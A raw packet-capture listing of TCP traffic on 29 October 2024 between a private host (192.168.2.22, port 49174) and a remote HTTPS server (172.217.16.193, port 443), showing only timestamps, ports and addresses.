                                                                                                                                                                                                Oct 29, 2024 16:31:27.245407104 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.245430946 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.245457888 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.245466948 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.258292913 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.258469105 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.258502007 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.275343895 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.275458097 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.275484085 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.284069061 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.284173965 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.284193993 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.296688080 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.296758890 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.296778917 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.309864044 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.309947968 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.309972048 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.323168993 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.323240042 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.323270082 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.338043928 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.338113070 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.338121891 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.350696087 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.350759983 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.350768089 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.363296032 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.363357067 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.363365889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.376424074 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.376492023 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.376518965 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.394603014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.394665956 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.394692898 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.403546095 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.403608084 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.403631926 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.415326118 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.415380001 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.415405989 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.428384066 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.428498030 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.428512096 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.442631006 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.442687035 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.442713976 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.459309101 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.459498882 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.459513903 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.468661070 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.468729019 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.468755960 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.481790066 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.481964111 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.481990099 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.495168924 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.495235920 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.495246887 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.511931896 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.512120962 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.512145042 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.521681070 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.521744967 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.521759987 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.537322998 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.537389040 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.537415028 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.547043085 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.547115088 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.547139883 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.560412884 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.560475111 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.560508013 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.573848009 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.573919058 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.573945045 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.586925983 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.586988926 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.587014914 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.600393057 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.600460052 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.600486994 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.613708973 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.613795996 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.613821030 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.627240896 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.627341986 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.627367973 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.640607119 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.640672922 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.640692949 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.653697014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.653769970 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.653795004 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.667081118 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.667145967 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.667166948 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.679236889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.679322004 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.679343939 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.694264889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.694330931 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.694348097 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.707550049 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.707618952 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:27.707639933 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:27.918230057 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.081397057 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.082113981 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.082148075 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.082169056 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.082201004 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.082243919 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.083091021 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.084233046 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.084279060 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.084300041 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.086397886 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.086426973 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.086453915 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.086479902 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.086520910 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.087531090 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.088603020 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.088633060 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.088654995 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.088675022 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.088713884 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.089715958 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.090583086 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.090631008 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.090648890 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.091499090 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.091551065 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.091562986 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.092358112 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.092406988 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.092417002 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.093318939 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.093365908 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.093375921 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.094094038 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.094139099 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.094147921 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.095024109 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.095076084 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.095087051 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.095885038 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.095932007 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.095942974 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.096832991 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.096879005 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.096889019 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.098443985 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.098475933 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.098490953 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.098504066 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.098539114 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.099299908 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.100122929 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.100158930 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.100167036 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.100178957 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.100218058 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.100934982 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.101752043 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.101783991 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.101799011 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.101809978 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.101845026 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.102500916 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.103149891 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.103180885 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.103193998 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.103205919 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.103240013 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.103904963 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.107534885 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.107584000 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.107598066 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.108313084 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.108341932 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.108351946 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.108362913 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.108401060 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.108865976 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.109529972 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.109556913 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.109575033 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.109586000 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.109623909 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.110441923 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.110487938 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.110527992 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.110533953 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.111120939 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.111166954 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.111172915 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.115449905 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.115502119 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.115509987 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.129615068 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.129683018 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.129707098 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.141664028 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.141743898 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.141769886 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.155049086 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.155133009 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.155153036 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.169401884 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.169498920 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.169518948 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.184561014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.184623003 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.184640884 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.194988012 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.195050001 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.195067883 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.208348036 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.208416939 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.208435059 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.221422911 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.221509933 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.221528053 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.234698057 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.234792948 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.234819889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.248281002 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.248337984 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.248347998 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.261610031 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.261674881 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.261699915 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.274933100 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.275012970 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.275027990 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.290076017 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.290148973 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.290158033 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.301423073 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.301522970 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.301548004 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.314661980 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.314748049 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.314769030 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.328051090 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.328147888 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.328157902 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.341599941 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.341666937 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.341676950 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.354799986 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.354882002 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.354909897 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.367959023 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.368031025 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.368057013 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.381298065 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.381356001 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.381375074 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.394606113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.394669056 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.394685030 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.407816887 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.407912016 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.407923937 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.421571016 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.421705008 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.421721935 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.434604883 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.434700012 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.434724092 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.447899103 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.447947979 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.447957993 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.461193085 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.461270094 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.461282969 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.474425077 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.474514961 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.474544048 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.488415956 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.488481045 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.488507032 CET44349174172.217.16.193192.168.2.22
